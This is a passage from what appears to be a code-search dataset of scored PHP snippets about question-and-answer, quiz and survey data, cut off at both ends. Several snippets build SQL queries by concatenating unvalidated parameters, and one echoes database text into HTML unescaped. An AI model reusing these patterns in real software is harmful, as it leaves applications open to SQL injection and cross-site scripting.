1,'answer_id'=>4],\n ['question_id'=> 1,'answer_id'=>5],\n\n // ['question_id'=> 2,'answer_id'=>6],\n // ['question_id'=> 2,'answer_id'=>7],\n // ['question_id'=> 2,'answer_id'=>8],\n // ['question_id'=> 2,'answer_id'=>9],\n // ['question_id'=> 2,'answer_id'=>10],\n\n // ['question_id'=> 3,'answer_id'=>11],\n // ['question_id'=> 3,'answer_id'=>12],\n // ['question_id'=> 3,'answer_id'=>13],\n // ['question_id'=> 3,'answer_id'=>14],\n // ['question_id'=> 3,'answer_id'=>15],\n\n // ['question_id'=> 4,'answer_id'=>16],\n // ['question_id'=> 4,'answer_id'=>17],\n // ['question_id'=> 4,'answer_id'=>18],\n // ['question_id'=> 4,'answer_id'=>19],\n // ['question_id'=> 4,'answer_id'=>20],\n\n // ['question_id'=> 5,'answer_id'=>21],\n // ['question_id'=> 5,'answer_id'=>22],\n // ['question_id'=> 5,'answer_id'=>23],\n // ['question_id'=> 5,'answer_id'=>24],\n // ['question_id'=> 5,'answer_id'=>25],\n\n // ['question_id'=> 6,'answer_id'=>26],\n // ['question_id'=> 6,'answer_id'=>27],\n // ['question_id'=> 6,'answer_id'=>28],\n // ['question_id'=> 6,'answer_id'=>29],\n // ['question_id'=> 6,'answer_id'=>30],\n ];\n\n foreach ($items as $item) {\n DB::table('question_answer')\n ->insert($item);\n }\n }", "title": "" }, { "docid": "2be22a4bde3865c0a6d5dcc29dd685f5", "score": "0.55431044", "text": "public function index() {\n if (\\Auth::check()) {\n $result = array();\n $questions = \\DB::table('questions')\n ->join('app_users', 'app_users.id', '=', 'questions.user_id')\n ->select('app_users.username', 'questions.id', 'questions.description', 'questions.type')\n ->where('questions.type','!=','SMS')\n ->get();\n foreach ($questions as $question) {\n $replies_by_authority = \\DB::table('answers')\n ->join('general_users', 'answers.user_id', '=', 'general_users.id')\n ->join('users', 'general_users.id', '=', 'users.id')\n ->select('answers.id', 'answers.q_id', 'answers.user_id', 'answers.description', 'users.username')\n ->where('answers.q_id', $question->id)\n ->get();\n $replies_by_app_users = \\DB::table('answers')\n ->join('general_users', 'answers.user_id', '=', 'general_users.id')\n ->join('app_users', 'general_users.id', '=', 'app_users.id')\n ->select('answers.id', 'answers.q_id', 'answers.user_id', 'answers.description', 'app_users.username')\n ->where('answers.q_id', $question->id)\n ->get();\n $result[] = array_merge((array) $question, $replies_by_app_users, $replies_by_authority);\n }\n \n $questions = \\DB::table('questions')\n ->join('subscribers', 'subscribers.id', '=', 'questions.user_id')\n ->select('subscribers.tag_number', 'questions.id', 'questions.description', 'questions.type')\n ->where('questions.type','=','SMS')\n ->get();\n foreach ($questions as $question) {\n $replies_by_authority = \\DB::table('answers')\n ->join('general_users', 'answers.user_id', '=', 'general_users.id')\n ->join('users', 'general_users.id', '=', 'users.id')\n ->select('answers.id', 'answers.q_id', 'answers.user_id', 'answers.description', 'users.username')\n ->where('answers.q_id', $question->id)\n ->get();\n $result[] = array_merge((array) $question, $replies_by_authority);\n }\n\n //var_dump($result);\n return \\View::make('forum')->withResult($result);\n } else {\n return \\View::make('login');\n }\n }", "title": "" }, { "docid": "a9fb93b3dd4b513b9b9c51ade35689f3", "score": "0.55317664", "text": "function getQuestionMapData($sField, $qsid)\n{\n $aresult = SurveyDynamic::model($qsid)->findAll();\n\n $d = array();\n\n //loop through question data\n foreach ($aresult as $arow) {\n $alocation = explode(\";\", $arow->$sField);\n if (count($alocation) >= 2) {\n $d[] = \"{$alocation[0]} {$alocation[1]}\";\n }\n }\n return $d;\n}", "title": "" }, { "docid": "472eb8f005fac2c9a0866ecc398d83b1", "score": "0.54957104", "text": "function answers($question_id='', $qid='', $tid='', $quiz_id='', $program_id='', $session_id='')\n\t{\n\t\t/*$sql = \"select a.question_id,a.question, a.type_id, a.session_id, a.program_id, a.quiz_id, b.option_id, b.option_name, \n\t\tc.id as answer_id, c.answer, c.user_id, c.qt_id \n\t\tfrom prj_question a \n\t\tLEFT JOIN prj_question_options b \n\t\tON b.question_id = a.id \n\t\tLEFT JOIN prj_answers c \n\t\tON c.question_id = a.question_id \n\t\twhere a.type_id = c.qt_id \n\t\tand a.question_id = '\".$qid.\"' \n\t\tand a.type_id = '\".$tid.\"' \n\t\tand a.quiz_id = '\".$quiz_id.\"' \n\t\tand a.program_id = '\".$program_id.\"' \n\t\tand a.session_id = '\".$session_id.\"' \n\t\tand a.id = '\".$question_id.\"'\";*/\n\t\t\n\t\t////$sql = \"select a.question_id,a.question, a.type_id, a.session_id, a.program_id, a.quiz_id, b.option_id, b.option_name, c.id as answer_id, c.answer, c.user_id, c.qt_id from prj_question a, prj_question_options b, prj_answers c where b.question_id = a.id and c.question_id = a.question_id and a.type_id = c.qt_id and a.question_id = '\".$qid.\"' and a.type_id = '\".$tid.\"' and a.quiz_id = '\".$quiz_id.\"' and a.program_id = '\".$program_id.\"' and a.session_id = '\".$session_id.\"' and a.id = '\".$question_id.\"' group by a.question_id\";\n\t\t\n\t\t$sql = \"select a.question_id,a.question, a.type_id, a.session_id, a.program_id, a.quiz_id, b.option_id, b.option_name, c.id as answer_id, c.answer, c.user_id, c.qt_id, d.comment as remarks from prj_question a, prj_question_options b, prj_answers c LEFT JOIN prj_answers_comments d ON c.id = d.answer_id where b.question_id = a.id and c.question_id = a.question_id and a.type_id = c.qt_id and a.question_id = '\".$qid.\"' and a.type_id = '\".$tid.\"' and a.quiz_id = '\".$quiz_id.\"' and a.program_id = '\".$program_id.\"' and a.session_id = '\".$session_id.\"' and a.id = '\".$question_id.\"' group by a.question_id\";\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t$result \t= $this->adodb->Execute($sql);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "0b78594e37249ee9521e9664f5ad7f9f", "score": "0.54880536", "text": "public function answers(){\n return $this->hasMany(TestQuestionAnswer::class);\n }", "title": "" }, { "docid": "4978339f951af35de3017abf1b5b6889", "score": "0.5483777", "text": "public function questions()\n {\n return $this->belongsToMany('App\\question');\n }", "title": "" }, { "docid": "6d25170fdb1b707acaea9decb47e95f4", "score": "0.54813397", "text": "public function questionAnswers() {\n return $this->hasMany(QuestionAnswer::class);\n }", "title": "" }, { "docid": "8b7e8f19cf9fa20d1293ce086ee9c51d", "score": "0.5478258", "text": "public function matchResponses()\n {\n return $this->belongsToMany(MatchDay::class, 'match_responses', 'user_id', 'match_day_id')\n ->withTimestamps()\n ->withPivot('answer')\n ->using(MatchResponse::class);\n }", "title": "" }, { "docid": "b54a42aca69c05d099d78519ddb1a9c8", "score": "0.54739696", "text": "public function questions()\n {\n return $this->belongsToMany(Question::class, 'question_tag', 'tag_id', 'question_id');\n }", "title": "" }, { "docid": "03c9b9e7151187c7ae11139037b51811", "score": "0.54727435", "text": "public function all_attentdance_page_show(){\n\n // echo \"hi\";\n$all_attendance = DB::table('attentdances')->select('att_date','att_month')->groupBy('att_date','att_month')->get();\n\n//echo \"</pre>\";\n//print_r($all_attendance);\n //return $all_attendance;\n\nreturn view('admin.attentdance.all_attentdance')->with(compact('all_attendance'));\n\n}", "title": "" }, { "docid": "bd8f74ffd749ebcb2f1f735c28958ff3", "score": "0.5463338", "text": "public function getAggregatedAnswersView($relevant_answers)\n\t{\n\t\treturn $this->renderAggregateView( \n\t\t\t$this->aggregateAnswers( $relevant_answers, $this->object->getAnswers() ) )->get();\n\t}", "title": "" }, { "docid": "a7a19a43a8af69915e26a5563378f850", "score": "0.545929", "text": "public function getAnswers()\n {\n return $this->hasMany(Answer::class, ['users_id' => 'id'])->inverseOf('users');\n }", "title": "" }, { "docid": "3a5887b4f038cbf51dac717355913d44", "score": "0.54561055", "text": "function questionnaire_get_question_group_needed($formId, $questions){\r\n $result = db_query('SELECT q.id_question AS id_question,IF(cruce.count IS NULL, 0, cruce.count) AS `count` FROM form_question AS q LEFT JOIN (SELECT COUNT(DISTINCT(a.uid)) AS `count`, a.id_question AS id_question FROM form_user_segment AS s INNER JOIN users AS u ON s.uid = u.`uid` INNER JOIN form_answer AS a ON s.uid = a.`uid` WHERE s.type=1 AND u.tipo IS NULL AND a.id_question IN ('.$questions.') AND a.id_form='.$formId.' GROUP BY a.id_question ORDER BY COUNT(DISTINCT(a.uid))) AS cruce ON q.id_question = cruce.id_question WHERE q.id_question IN ('.$questions.') ORDER BY cruce.count');\r\n \r\n $counts = array();\r\n while($count = $result->fetchAssoc()){\r\n array_push($counts,$count);\r\n }\r\n //lets check if all the counts are include\r\n return $counts;\r\n}", "title": "" }, { "docid": "5f35a561125b2706637e94a7f330870d", "score": "0.54490286", "text": "function fetchAllTopics()\n{\n return DB::query(\"\n SELECT\n topic,\n image\n FROM\n quiz_topics AS qt\n LEFT JOIN\n quiz AS q ON q.topic_id = qt.id\n GROUP BY\n topic;\n \");\n}", "title": "" }, { "docid": "f82f9657f518ffe7f79dc24aabf1c737", "score": "0.5420038", "text": "function TagRelated_Questions($value)\n {\n \t$questions = DB::table('question_tag')\n \t\t\t\t\t->where('tag_id', '=', $value)\n \t\t\t\t\t->select('question_id')\n \t\t\t\t\t->get();\n \tforeach ($questions as $value) {\n \t\t$kochu = DB::table('questions')->where('id',$value->question_id)->get();\n \t\tforeach ($kochu as $k) {\n \t\t\t$all[] = $k;\n \t\t}\n \t}\n\n if (isset($all)) {\n return $all;\n }return null;\n }", "title": "" }, { "docid": "9bf740221733ab5e3f65adf93ac8e57e", "score": "0.5414791", "text": "public function real_users(){\n\t\treturn $this->users()->groupBy('pivot_user_id','pivot_lan_id','users.id');\n \t}", "title": "" }, { "docid": "9ae44a7fa3481cd45a232ef179b52cee", "score": "0.5410988", "text": "public function index()\n {\n \n \n /* $form = Answers::select('forms.id as form_id', 'forms.status as status', 'forms.title as formulario', \n 'users.name as entrevistado', 'users.cpf as cpf', 'questions.id as question_id', 'users.id as user_id',\n 'forms.final_date')\n ->join('questions', 'question_id', 'questions.id')\n ->join('users', 'user_id', 'users.id')\n ->join('forms', 'answers.form_id', 'forms.id')->groupBy('form_id', 'users.cpf')->get();\n $form_count = $form->count();*/\n\n $form = Answers::select('forms.id as form_id', 'forms.status as status', 'forms.title as formulario', \n 'users.name as entrevistado', 'users.cpf as cpf', 'questions.id as question_id', 'users.id as user_id',\n 'forms.final_date')\n ->join('questions', 'question_id', 'questions.id')\n ->join('users', 'user_id', 'users.id')\n ->join('forms', 'answers.form_id', 'forms.id')->groupBy('form_id', 'users.cpf')->get();\n $form_count = $form->count();\n\n return view('admin/lista', compact('form', 'form_count'));\n }", "title": "" }, { "docid": "1874ea41be86ec3f5ac8df0ce5403db4", "score": "0.5396264", "text": "public function apiGetQuestionsTagged($tag_id){\n $question_id = QuestionTag::where('tag_id',$tag_id)->pluck('question_id')->all();\n $question=Question::whereIn('id',$question_id)->orderby('id','desc')->paginate(15);\n foreach ($question as $questions) {\n //$question->answers_count = $question->answers->count();\n //$question->save();\n $questions->user;\n $questions->user->role;\n $questions->category;\n $questions->author_isOnline = $questions->user->isOnline();\n $questions->tags = Question::getTags($questions->id);\n $this->setDateFomat($questions);\n }\n return response()->json($question);\n }", "title": "" }, { "docid": "504fa3d775bd31f838cbc0ce6f057256", "score": "0.5377866", "text": "function grouping(){\n return $this->db->table('posts')\n ->groupStart()\n ->where(['post_id <' => '10' , 'post_created_at >' => '1990-00-00 00:00:00'])\n ->groupEnd()\n ->orWhere('post_author', '10')\n ->join('users', 'posts.post_author = users.user_id' , 'innner') //first para is the name of the table join(table name, condition , type of join)\n ->get()\n ->getResult(); \n }", "title": "" }, { "docid": "24ad5240d84fb243280031446996884f", "score": "0.5360941", "text": "public function answers()\n {\n return $this->hasManyThrough('App\\Models\\QuizAnswer', 'App\\Models\\QuizQuestion', 'quiz_id', 'question_id', 'id', 'id');\n }", "title": "" }, { "docid": "e7124e80502411ae84ad9fc9ae6e59c4", "score": "0.5354655", "text": "public function getQuestionandAnswers($questionId) {\n\t\t$sql = \"SELECT * FROM stack_question as question, stack_answer as answer WHERE question.id = {$questionId} and answer.questionId = {$questionId};\"; \n\t\t$this->db->execute($sql);\n\t\treturn $this->db->fetchAll();\n\t}", "title": "" }, { "docid": "48c21b4208d3fccf26ee3f7471006c93", "score": "0.5354402", "text": "public function answers()\n {\n return $this->hasMany(Answer::class);\n }", "title": "" }, { "docid": "3363094f850ca9d0096db4d4d401aeab", "score": "0.53543085", "text": "public function groupedResults()\n {\n $results = $this->results()->orderBy('id', 'asc')->get();\n $feedback = Array();\n $grouped = Array(\n 'w3c_nu' => [\n 'status' => 'pass',\n 'answered' => 0,\n ],\n 'readlevel' => [\n 'status' => 'incomplete',\n 'answered' => 0,\n ],\n 'link' => [\n 'status' => 'pass',\n 'answered' => 0,\n ],\n 'title' => [\n 'status' => 'pass',\n 'answered' => 0,\n ],\n 'heading' => [\n 'status' => 'pass',\n 'answered' => 0,\n ],\n 'image' => [\n 'status' => 'pass',\n 'answered' => 0,\n ],\n );\n $total = Array('incomplete' => 0, 'pass' => 0, 'fail' => 0, 'count' => 0);\n\n if ($results) {\n\n foreach ($results as $item) {\n if (isset($grouped[$item->module])) {\n $module = $grouped[$item->module];\n\n $module['answered'] += ($item->type == 'feedback' || isset($feedback[$item->value . '_' . $item->info]) ? 1 : -1);\n $module['status'] = ($item->status == 'fail' ? 'fail' : ($item->status == 'incomplete' && $module['status'] != 'fail' ? 'incomplete' : (!in_array($item->status,\n array('pass', 'incomplete')) ? $item->status : $module['status'])));\n $module['value'] = $item->value;\n\n $grouped[$item->module] = $module;\n\n if ($item->type == 'feedback') {\n $feedback[$item->value . '_' . $item->info] = true;\n }\n }\n }\n\n foreach ($grouped as $key => &$item) {\n $item['status'] = ($item['status'] != 'fail' && $item['answered'] < 0 && $key != 'w3c_nu' ? 'incomplete' : $item['status']);\n\n $total['incomplete'] += ($item['status'] == 'incomplete' ? 1 : 0);\n $total['pass'] += ($item['status'] == 'pass' ? 1 : 0);\n $total['fail'] += ($item['status'] == 'fail' ? 1 : 0);\n $total['count']++;\n }\n\n $rating = $this->globalRatingValue();\n $grouped['rating'] = ['status' => ($rating['average'] ? number_format($rating['average'], 1, ',', '') : 'incomplete'), 'value' => $rating['total']];\n\n return ['total' => $total, 'grouped' => $grouped];\n }\n\n return null;\n }", "title": "" }, { "docid": "f89d2a1917c769ff54887aad5962fd99", "score": "0.53536564", "text": "public function getAnswersByConfig()\n {\n return $this->hasMany(CategoryFunctionAnswer::class, ['base_data_id' => 'base_data_id',])->andWhere(['answer_id' => $this->arrAnswersToPrint]);\n }", "title": "" }, { "docid": "8e1650fd1f67d026a7e5f24eadbe0e1b", "score": "0.5353278", "text": "public function exercisesTag() {\n /*$exercisesId = $this->exercises->pluck('id');\n\n return Tag::whereHas('exercises', function($query) use($exercisesId) {\n $query->whereIn('exercise_id', $exercisesId);\n })\n ->get();*/\n\n return $this->exercises->pluck('tags')->flatten()->unique('id');\n\n }", "title": "" }, { "docid": "cd95e140bef1745cc9f50efd81936c6f", "score": "0.53517425", "text": "public function run()\n {\n for ($i = 1; $i <= 14; $i++) {\n Question::create([\n 'topic'=>'医生你们好,我想问你们一个问题 '.$i,\n 'content'=>'医生你们好,我想问你们一个问题 '.$i.',最近一直拉肚子,一吃东西就拉,是什么问题呢?',\n 'type'=>1,\n 'user_id'=>$i,\n ]);\n }\n for ($i = 1; $i <= 14; $i++) {\n Question::create([\n 'topic'=>'教练你们好,我想问你们一个问题 '.$i,\n 'content'=>'教练你们好,我想问你们一个问题 '.$i.',最近想减肥,但是人懒,请问有机会吗?',\n 'type'=>2,\n 'user_id'=>$i,\n ]);\n }\n\n for ($i = 3; $i <= 13; $i++) {\n Advice::create([\n 'content'=>'唉,你吃错东西啦,赶紧去医院吧~~~~',\n 'question_id'=>$i,\n 'user_id'=>2,\n ]);\n }\n for ($i = 15; $i <= 19; $i++) {\n for ($j = $i-14; $j < $i-5; $j++) {\n Advice::create([\n 'content'=>'唉,你吃错东西啦,赶紧去医院吧~~~~',\n 'question_id'=>$j,\n 'user_id'=>$i,\n ]);\n }\n }\n\n for ($i = 17; $i <= 27; $i++) {\n Advice::create([\n 'content'=>'唉,人懒并不能减肥啊...',\n 'question_id'=>$i,\n 'user_id'=>3,\n ]);\n }\n for ($i = 20; $i <= 24; $i++) {\n for ($j = $i-20+14; $j < $i; $j++) {\n Advice::create([\n 'content'=>'唉,人懒并不能减肥啊...',\n 'question_id'=>$j,\n 'user_id'=>$i,\n ]);\n }\n }\n }", "title": "" }, { "docid": "f2b8ea60f9cf38079683697bb86d8594", "score": "0.53478897", "text": "public function answers()\n {\n return $this->hasMany(\\App\\Answer::class);\n }", "title": "" }, { "docid": "ad17329145b96e21a06c33d7b8cfb301", "score": "0.5342138", "text": "public function run()\n {\n DB::table('questions')->insert([\n // Philanthropist\n [\n 'userType' => \"Philanthropist\",\n 'reference' => \"P1\",\n 'question' => \"Het maakt me blij als ik anderen kan helpen.\",\n 'correlation' => 0.780,\n ],\n [\n 'userType' => \"Philanthropist\",\n 'reference' => \"P2\",\n 'question' => \"Ik vind het leuk om anderen te helpen zich te oriënteren in nieuwe situaties.\",\n 'correlation' => 0.775,\n ],\n [\n 'userType' => \"Philanthropist\",\n 'reference' => \"P3\",\n 'question' => \"Ik deel graag mijn kennis.\",\n 'correlation' => 0.783,\n ],\n [\n 'userType' => \"Philanthropist\",\n 'reference' => \"P4\",\n 'question' => \"Het welzijn van anderen is belangrijk voor mij.\",\n 'correlation' => 0.763,\n ],\n // Socialiser\n [\n 'userType' => \"Socialiser\",\n 'reference' => \"S1\",\n 'question' => \"Het is belangrijk voor mij om met anderen om te gaan.\",\n 'correlation' => 0.734,\n ],\n [\n 'userType' => \"Socialiser\",\n 'reference' => \"S2\",\n 'question' => \"Ik vind het leuk deel uit te maken van een team.\",\n 'correlation' => 0.617,\n ],\n [\n 'userType' => \"Socialiser\",\n 'reference' => \"S3\",\n 'question' => \"Het is belangrijk voor mij om het gevoel te hebben dat ik deel uitmaak van een gemeenschap.\",\n 'correlation' => 0.676,\n ],\n [\n 'userType' => \"Socialiser\",\n 'reference' => \"S4\",\n 'question' => \"Ik geniet van groepsactiviteiten.\",\n 'correlation' => 0.662,\n ],\n // Free Spirit\n [\n 'userType' => \"Free Spirit\",\n 'reference' => \"F1\",\n 'question' => \"Het is belangrijk voor mij om mijn eigen weg te volgen.\",\n 'correlation' => 0.480,\n ],\n [\n 'userType' => \"Free Spirit\",\n 'reference' => \"F2\",\n 'question' => \"Ik laat me vaak leiden door mijn nieuwsgierigheid.\",\n 'correlation' => 0.546,\n ],\n [\n 'userType' => \"Free Spirit\",\n 'reference' => \"F3\",\n 'question' => \"Ik hou van nieuwe dingen te proberen.\",\n 'correlation' => 0.525,\n ],\n [\n 'userType' => \"Free Spirit\",\n 'reference' => \"F4\",\n 'question' => \"Zelfstandig zijn is belangrijk voor mij.\",\n 'correlation' => 0.496,\n ],\n // Achiever\n [\n 'userType' => \"Achiever\",\n 'reference' => \"A1\",\n 'question' => \"Ik hou ervan om obstakels te verslaan.\",\n 'correlation' => 0.574,\n ],\n [\n 'userType' => \"Achiever\",\n 'reference' => \"A2\",\n 'question' => \"Het is belangrijk voor mij om mijn taken altijd volledig uit te voeren.\",\n 'correlation' => 0.485,\n ],\n [\n 'userType' => \"Achiever\",\n 'reference' => \"A3\",\n 'question' => \"Het is moeilijk voor mij om een probleem los te laten voordat ik een oplossing heb gevonden.\",\n 'correlation' => 0.569,\n ],\n [\n 'userType' => \"Achiever\",\n 'reference' => \"A4\",\n 'question' => \"Ik hou van het beheersen van moeilijke taken.\",\n 'correlation' => 0.604,\n ],\n // Disruptor\n [\n 'userType' => \"Disruptor\",\n 'reference' => \"D1\",\n 'question' => \"Ik provoceer graag.\",\n 'correlation' => 0.588,\n ],\n [\n 'userType' => \"Disruptor\",\n 'reference' => \"D2\",\n 'question' => \"Ik stel de status-quo in vraag.\",\n 'correlation' => 0.398,\n ],\n [\n 'userType' => \"Disruptor\",\n 'reference' => \"D3\",\n 'question' => \"Ik zie mezelf als een rebel.\",\n 'correlation' => 0.569,\n ],\n [\n 'userType' => \"Disruptor\",\n 'reference' => \"D4\",\n 'question' => \"Ik hou niet van het volgen van regels.\",\n 'correlation' => 0.577,\n ],\n // Player\n [\n 'userType' => \"Player\",\n 'reference' => \"P1\",\n 'question' => \"Ik hou van wedstrijden waarbij een prijs kan worden gewonnen.\",\n 'correlation' => 0.459,\n ],\n [\n 'userType' => \"Player\",\n 'reference' => \"P2\",\n 'question' => \"Beloningen zijn een geweldige manier om me te motiveren.\",\n 'correlation' => 0.622,\n ],\n [\n 'userType' => \"Player\",\n 'reference' => \"P3\",\n 'question' => \"Rendement van de investering is belangrijk voor mij.\",\n 'correlation' => 0.313,\n ],\n [\n 'userType' => \"Player\",\n 'reference' => \"P4\",\n 'question' => \"Als de beloning voldoende is, zal ik me inspannen.\",\n 'correlation' => 0.568,\n ],\n ]);\n }", "title": "" }, { "docid": "fb477b5117c24ff2aeff5e352587c706", "score": "0.5341728", "text": "public function getAnswersByQuestion($ID_Question)\n{ \n \n $handle = $this->conn->getPdo()->prepare(\"SELECT * FROM blackbox_answers WHERE ID_Question=:a\");\n $handle->bindValue(':a',$ID_Question);\n $handle->execute();\n $answersByQuestion=$handle->fetchAll(); \n\n echo \"\n\t<table class='table table-striped table-hover scrollable'>\n <thead class='thead-dark'>\n\t\t<tr >\t\t\t\n\t\t\t<th>Answers</th>\t\t\t\n\t\t</tr>\n </thead ><tbody>\";\nforeach ($answersByQuestion as $index => $oneAnswer){ \n\techo \"\n\t\t<tr class='warning'>\n\t\t\t<td> \".$oneAnswer['description'].\"</td> \n </tr>\";\n}\necho \" </tbody>\n</table>\";\n\n}", "title": "" }, { "docid": "a191112f008b72d571827a3f383e1aa0", "score": "0.53329355", "text": "public function getQuestions(){\n\t\t$questions = array();\n\t\ttry {\n\t\t\t$host_db_link = new PDO( OPAL_DB_DSN, OPAL_DB_USERNAME, OPAL_DB_PASSWORD );\n\t\t\t$host_db_link->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );\n\n\t\t\t$sql = \"\n\t\t\t\tSELECT\n\t\t\t\t\tQuestionnaireQuestion.serNum,\n\t\t\t\t\tQuestionnaireQuestion.text_EN,\n\t\t\t\t\tQuestionnaireQuestion.text_FR,\n\t\t\t\t\tQuestiongroup.serNum,\n\t\t\t\t\tQuestiongroup.name_EN,\n\t\t\t\t\tQuestiongroup.name_FR,\n\t\t\t\t\tQuestiongroup.category_EN,\n\t\t\t\t\tQuestiongroup.category_FR,\n\t\t\t\t\tQuestiongroup.private,\n\t\t\t\t\tQuestionnaireAnswerType.serNum,\n\t\t\t\t\tQuestionnaireAnswerType.name_EN,\n\t\t\t\t\tQuestionnaireAnswerType.name_FR,\n\t\t\t\t\tQuestionnaireLibrary.serNum,\n\t\t\t\t\tQuestionnaireLibrary.name_EN,\n\t\t\t\t\tQuestionnaireLibrary.name_FR\n\t\t\t\tFROM \n\t\t\t\t\t((( Questiongroup\n\t\t\t\t\t\tINNER JOIN\n\t\t\t\t\tQuestiongroup_library\n\t\t\t\t\t\tON Questiongroup.serNum = Questiongroup_library.questiongroup_serNum\n\t\t\t\t\t\tINNER JOIN\n\t\t\t\t\tQuestionnaireLibrary\n\t\t\t\t\t\tON Questiongroup_library.library_serNum = QuestionnaireLibrary.serNum )\n\n\t\t\t\t\t\tRIGHT JOIN \n\t\t\t\t\t\t\tQuestionnaireQuestion \n\t\t\t\t\t\tON\n\t\t\t\t\t\t\tQuestiongroup.serNum = QuestionnaireQuestion.questiongroup_serNum )\n\t\t\t\t\t\tLEFT JOIN\n\t\t\t\t\t\t\tQuestionnaireAnswerType\n\t\t\t\t\t\tON\n\t\t\t\t\t\t\tQuestionnaireQuestion.answertype_serNum = QuestionnaireAnswerType.serNum )\n\t\t\t\tORDER BY\n\t\t\t\t\tQuestionnaireQuestion.serNum ASC\n\t\t\t\";\n\n\t\t\t$query = $host_db_link->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));\n\t\t\t$query->execute();\n\n\t\t\twhile($row = $query->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT)){\n\t\t\t\t$questionSerNum = $row[0];\n\t\t\t\t$text_EN = $row[1];\n\t\t\t\t$text_FR = $row[2];\n\t\t\t\t$groupSerNum = $row[3];\n\t\t\t\t$groupNameEN = $row[4];\n\t\t\t\t$groupNameFR = $row[5];\n\t\t\t\t$groupCatEN = $row[6];\n\t\t\t\t$groupCatFR = $row[7];\n\t\t\t\t$groupPrivate = $row[8];\n\t\t\t\t$atSerNum = $row[9];\n\t\t\t\t$atNameEN = $row[10];\n\t\t\t\t$atNameFR = $row[11];\n\t\t\t\t$libSerNum = $row[12];\n\t\t\t\t$libNameEN = $row[13];\n\t\t\t\t$libNameFR = $row[14];\n\n\n\t\t\t\t$questionArray = array (\n\t\t\t\t\t'serNum'\t\t\t\t=> $questionSerNum,\n\t\t\t\t\t'text_EN'\t\t\t\t=> $text_EN,\n\t\t\t\t\t'text_FR'\t\t\t\t=> $text_FR,\n\t\t\t\t\t'group_serNum'\t\t\t=> $groupSerNum,\n\t\t\t\t\t'group_name_EN'\t\t\t=> $groupNameEN,\n\t\t\t\t\t'group_name_FR'\t\t\t=> $groupNameFR,\n\t\t\t\t\t'group_category_EN'\t\t=> $groupCatEN,\n\t\t\t\t\t'group_category_FR'\t\t=> $groupCatFR,\n\t\t\t\t\t'private'\t\t\t\t=> $groupPrivate,\n\t\t\t\t\t'answertype_serNum'\t\t=> $atSerNum,\n\t\t\t\t\t'answertype_name_EN'\t=> $atNameEN,\n\t\t\t\t\t'answertype_name_FR'\t=> $atNameFR,\n\t\t\t\t\t'library_serNum'\t\t=> $libSerNum,\n\t\t\t\t\t'library_name_EN'\t\t=> $libNameEN,\n\t\t\t\t\t'library_name_FR'\t\t=> $libNameFR\n\t\t\t\t);\n\t\t\t\tarray_push($questions, $questionArray);\n\t\t\t}\n\t\t\treturn $questions;\n\t\t} catch (PDOException $e) {\n\t \t\techo $e->getMessage();\n\t \t\treturn $questions;\n\n\t\t}\n\t}", "title": "" }, { "docid": "61804d90a463da672e0dbbc0e5f657a5", "score": "0.5320401", "text": "public function store(Request $request)\n {\n $request->validate([\n 'faculty_id' => 'integer|required',\n 'department_id' => 'integer|required',\n 'course_id' => 'integer|required',\n 'question_count' => 'integer|required|max:200',\n 'department_level' => 'integer|required|max:600',\n 'academic_session' => 'integer|required',\n 'question_type' => 'in:Theory,MC|string|required'\n ]);\n $questions = Questions::with(['options'])->whereNested(function($query) use ($request)\n {\n $query->where('faculty_id',$request->faculty_id);\n $query->where('department_id',$request->department_id);\n $query->where('course_id',$request->course_id);\n $query->where('department_level',$request->department_level);\n $query->where('question_type',$request->question_type);\n $query->where('academic_session',$request->academic_session);\n })\n ->inRandomOrder()->take($request->question_count)->get();\n $question_to_array = $questions->toArray();\n $question_id_array = array_map(function($question){ return $question['id'] ; }, $question_to_array);\n $array_to_string = (string) '';\n foreach ($question_id_array as $key => $id) {\n if($key == count($question_id_array) - 1){\n $array_to_string .= $id;\n continue;\n }\n $array_to_string .= $id.',';\n }\n $question_paper = new NQP;\n $question_paper->course_id = $request->course_id;\n $question_paper->faculty_id = $request->faculty_id;\n $question_paper->department_id = $request->department_id;\n $question_paper->unique_id = $request->academic_session.$request->course_id.str_random(6);\n $question_paper->academic_session = $request->academic_session;\n $question_paper->department_level = $request->department_level;\n $question_paper->question_type = $request->question_type;\n $question_paper->question_id_array = $array_to_string;\n $question_paper->question_count = count($question_id_array);\n $question_paper->save();\n return response()->json( $array_to_string, 200);\n }", "title": "" }, { "docid": "0dd2cc10ff25c0585781f639102a78e9", "score": "0.53147626", "text": "public function questions()\n {\n return $this->belongsToMany(\\App\\Models\\Question::class);\n }", "title": "" }, { "docid": "f80f850d6504613bad89dbb074e25836", "score": "0.5313762", "text": "function fetch_question_answer_list($sid,$empId,$questionidlist){\n\t\t//$questionidlist = implode(',',$questionidlist);\n\t\t$this->db->select(\"sfal.id,sfal.question_id,sfal.answer_id,sfal.answer_text\"); \n $this->db->from(\"survey_feedback as sf\");\n $this->db->join(\"survey_feedback_answer_list as sfal\",\"sf.id = sfal.sf_id\",'LEFT'); \n $this->db->where(\"sf.emp_id\",$empId);\n $this->db->where(\"sf.s_id\",$sid); \n $this->db->where_in(\"sfal.question_id\",$questionidlist); \t\t\n $query = $this->db->get();\n \n if($query->num_rows() > 0){ \n $result = $query->result_array(); \n } else {\n $result = array(); \n } \n return $result;\n\t\t\n\t}", "title": "" }, { "docid": "9be782aa98f9efacb4267ccc3d9400fa", "score": "0.53096205", "text": "public function questions(){\n return $this->belongsToMany('App\\Model\\Question');\n }", "title": "" }, { "docid": "4cfeba15b3b1b729bae43458101dcc83", "score": "0.5309402", "text": "private function _get_answer_data($questions, $survey_id)\n {\n $this->load->model('default/m_survey_answers', 'answers');\n\n $results = $questions;\n\n foreach ($results as $question)\n {\n $question->html = '';\n $answer_percentage = array();\n $user_answer = array();\n $view_data = array(); \n\n \t $responses = $this->answers->get_by_survey($survey_id, $question->question_id);\n\n switch ($question->type_of_question_id)\n {\n case 3:\n case 1:\n // Get the percentage per choice.\n foreach ($responses->result() as $response)\n { \n if (array_key_exists($response->answer, $answer_percentage))\n {\n $user_answer[$response->answer]++;\n }\n else\n {\n $user_answer[$response->answer] = 1;\n }\n\n $answer_percentage[$response->answer] = number_format($user_answer[$response->answer] / $responses->num_rows(), 2) * 100;\n }\n // Sort according to key value.\n ksort($answer_percentage);\n \n $view_data['range'] = $question->range;\n $view_data['percentage'] = $answer_percentage;\n $view_data['number_of_replies'] = $user_answer; \n \n break;\n }\n\n $file = '';\n\n if 